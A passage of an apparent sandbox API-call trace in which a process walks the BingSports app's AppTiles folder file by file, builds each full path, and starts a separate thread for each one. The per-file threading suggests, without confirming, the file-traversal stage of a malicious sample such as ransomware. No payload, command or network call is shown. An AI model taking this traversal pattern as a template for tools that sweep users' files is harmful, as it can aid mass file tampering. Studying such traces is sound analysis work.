	[0089.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4723628, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16a4
	[0089.861] FindNextFileW (in: hFindFile=0x46a7f58, lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c312cbd, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa6c2ab5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c338f0b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-white", cAlternateFileName="CONTRA~2")) returned 1
	[0089.861] wcscmp (_String1="contrast-white", _String2=".") returned 1
	[0089.861] wcscmp (_String1="contrast-white", _String2="..") returned 1
	[0089.861] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x47688e0
	[0089.861] wcscpy (in: _Dest=0x47688e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.862] wcscat (in: _Dest=0x47688e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.862] wcscat (in: _Dest=0x47688e0, _Source="contrast-white" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white"
	[0089.862] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47688e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f58
	[0089.862] FindNextFileW (in: hFindFile=0x46a7f58, lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c338f0b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c338f0b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c338f0b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x13f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports_LogoSmall.scale-100.png", cAlternateFileName="")) returned 1
	[0089.862] wcscmp (_String1="Sports_LogoSmall.scale-100.png", _String2=".") returned 1
	[0089.862] wcscmp (_String1="Sports_LogoSmall.scale-100.png", _String2="..") returned 1
	[0089.862] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x481de10
	[0089.862] wcscpy (in: _Dest=0x481de10, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.862] wcscat (in: _Dest=0x481de10, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.862] wcscat (in: _Dest=0x481de10, _Source="Sports_LogoSmall.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.scale-100.png"
	[0089.862] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481de10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f5c
	[0089.863] FindNextFileW (in: hFindFile=0x46a7f58, lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c338f0b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c338f0b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c338f0b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports_LogoSmall.targetsize-16.png", cAlternateFileName="")) returned 1
	[0089.863] wcscmp (_String1="Sports_LogoSmall.targetsize-16.png", _String2=".") returned 1
	[0089.863] wcscmp (_String1="Sports_LogoSmall.targetsize-16.png", _String2="..") returned 1
	[0089.863] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x500c558
	[0089.863] wcscpy (in: _Dest=0x500c558, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.863] wcscat (in: _Dest=0x500c558, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.863] wcscat (in: _Dest=0x500c558, _Source="Sports_LogoSmall.targetsize-16.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.targetsize-16.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.targetsize-16.png"
	[0089.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x500c558, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f60
	[0089.864] FindNextFileW (in: hFindFile=0x46a7f58, lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c338f0b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c338f0b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c338f0b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports_LogoSmall.targetsize-24.png", cAlternateFileName="")) returned 1
	[0089.864] wcscmp (_String1="Sports_LogoSmall.targetsize-24.png", _String2=".") returned 1
	[0089.864] wcscmp (_String1="Sports_LogoSmall.targetsize-24.png", _String2="..") returned 1
	[0089.864] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x500c9b8
	[0089.864] wcscpy (in: _Dest=0x500c9b8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.864] wcscat (in: _Dest=0x500c9b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.864] wcscat (in: _Dest=0x500c9b8, _Source="Sports_LogoSmall.targetsize-24.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.targetsize-24.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.targetsize-24.png"
	[0089.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x500c9b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f64
	[0089.865] FindNextFileW (in: hFindFile=0x46a7f58, lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c338f0b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c338f0b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c338f0b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x990, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports_LogoSmall.targetsize-256.png", cAlternateFileName="")) returned 1
	[0089.865] wcscmp (_String1="Sports_LogoSmall.targetsize-256.png", _String2=".") returned 1
	[0089.865] wcscmp (_String1="Sports_LogoSmall.targetsize-256.png", _String2="..") returned 1
	[0089.865] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x106) returned 0x500d390
	[0089.865] wcscpy (in: _Dest=0x500d390, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.865] wcscat (in: _Dest=0x500d390, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.865] wcscat (in: _Dest=0x500d390, _Source="Sports_LogoSmall.targetsize-256.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.targetsize-256.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.targetsize-256.png"
	[0089.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x500d390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f68
	[0089.866] FindNextFileW (in: hFindFile=0x46a7f58, lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c338f0b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c338f0b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c338f0b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x132, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports_LogoSmall.targetsize-32.png", cAlternateFileName="")) returned 1
	[0089.866] wcscmp (_String1="Sports_LogoSmall.targetsize-32.png", _String2=".") returned 1
	[0089.866] wcscmp (_String1="Sports_LogoSmall.targetsize-32.png", _String2="..") returned 1
	[0089.866] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x500d4a8
	[0089.866] wcscpy (in: _Dest=0x500d4a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.866] wcscat (in: _Dest=0x500d4a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.866] wcscat (in: _Dest=0x500d4a8, _Source="Sports_LogoSmall.targetsize-32.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.targetsize-32.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.targetsize-32.png"
	[0089.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x500d4a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f6c
	[0089.866] FindNextFileW (in: hFindFile=0x46a7f58, lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c338f0b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c338f0b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c338f0b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x19d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports_LogoSmall.targetsize-48.png", cAlternateFileName="")) returned 1
	[0089.866] wcscmp (_String1="Sports_LogoSmall.targetsize-48.png", _String2=".") returned 1
	[0089.866] wcscmp (_String1="Sports_LogoSmall.targetsize-48.png", _String2="..") returned 1
	[0089.866] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x500bec8
	[0089.866] wcscpy (in: _Dest=0x500bec8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.867] wcscat (in: _Dest=0x500bec8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.867] wcscat (in: _Dest=0x500bec8, _Source="Sports_LogoSmall.targetsize-48.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.targetsize-48.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.targetsize-48.png"
	[0089.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x500bec8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f70
	[0089.867] FindNextFileW (in: hFindFile=0x46a7f58, lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c338f0b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c338f0b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c338f0b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x669, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports_SplashScreen.scale-100.png", cAlternateFileName="")) returned 1
	[0089.867] wcscmp (_String1="Sports_SplashScreen.scale-100.png", _String2=".") returned 1
	[0089.867] wcscmp (_String1="Sports_SplashScreen.scale-100.png", _String2="..") returned 1
	[0089.867] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x102) returned 0x500bfe0
	[0089.867] wcscpy (in: _Dest=0x500bfe0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.867] wcscat (in: _Dest=0x500bfe0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.867] wcscat (in: _Dest=0x500bfe0, _Source="Sports_SplashScreen.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_SplashScreen.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_SplashScreen.scale-100.png"
	[0089.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x500bfe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f74
	[0089.868] FindNextFileW (in: hFindFile=0x46a7f58, lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c338f0b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c338f0b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c338f0b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x577, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports_TileLargeSquare.scale-100.png", cAlternateFileName="")) returned 1
	[0089.868] wcscmp (_String1="Sports_TileLargeSquare.scale-100.png", _String2=".") returned 1
	[0089.868] wcscmp (_String1="Sports_TileLargeSquare.scale-100.png", _String2="..") returned 1
	[0089.868] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x108) returned 0x500cad0
	[0089.868] wcscpy (in: _Dest=0x500cad0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.868] wcscat (in: _Dest=0x500cad0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.868] wcscat (in: _Dest=0x500cad0, _Source="Sports_TileLargeSquare.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_TileLargeSquare.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_TileLargeSquare.scale-100.png"
	[0089.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x500cad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f78
	[0089.869] FindNextFileW (in: hFindFile=0x46a7f58, lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c35f15d, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c35f15d, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c35f15d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports_TileMediumSquare.scale-100.png", cAlternateFileName="")) returned 1
	[0089.869] wcscmp (_String1="Sports_TileMediumSquare.scale-100.png", _String2=".") returned 1
	[0089.869] wcscmp (_String1="Sports_TileMediumSquare.scale-100.png", _String2="..") returned 1
	[0089.869] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x498eea8
	[0089.869] wcscpy (in: _Dest=0x498eea8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.869] wcscat (in: _Dest=0x498eea8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.869] wcscat (in: _Dest=0x498eea8, _Source="Sports_TileMediumSquare.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_TileMediumSquare.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_TileMediumSquare.scale-100.png"
	[0089.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x498eea8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f7c
	[0089.870] FindNextFileW (in: hFindFile=0x46a7f58, lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c35f15d, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c35f15d, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c35f15d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x183, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports_TileSmallSquare.scale-100.png", cAlternateFileName="")) returned 1
	[0089.870] wcscmp (_String1="Sports_TileSmallSquare.scale-100.png", _String2=".") returned 1
	[0089.870] wcscmp (_String1="Sports_TileSmallSquare.scale-100.png", _String2="..") returned 1
	[0089.870] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x108) returned 0x500d5c0
	[0089.870] wcscpy (in: _Dest=0x500d5c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.870] wcscat (in: _Dest=0x500d5c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.870] wcscat (in: _Dest=0x500d5c0, _Source="Sports_TileSmallSquare.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_TileSmallSquare.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_TileSmallSquare.scale-100.png"
	[0089.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x500d5c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f80
	[0089.871] FindNextFileW (in: hFindFile=0x46a7f58, lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c35f15d, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x6c35f15d, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x6c35f15d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sports_TileWide.scale-100.png", cAlternateFileName="")) returned 1
	[0089.871] wcscmp (_String1="Sports_TileWide.scale-100.png", _String2=".") returned 1
	[0089.871] wcscmp (_String1="Sports_TileWide.scale-100.png", _String2="..") returned 1
	[0089.871] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x481c028
	[0089.871] wcscpy (in: _Dest=0x481c028, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0089.871] wcscat (in: _Dest=0x481c028, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0089.871] wcscat (in: _Dest=0x481c028, _Source="Sports_TileWide.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_TileWide.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_TileWide.scale-100.png"
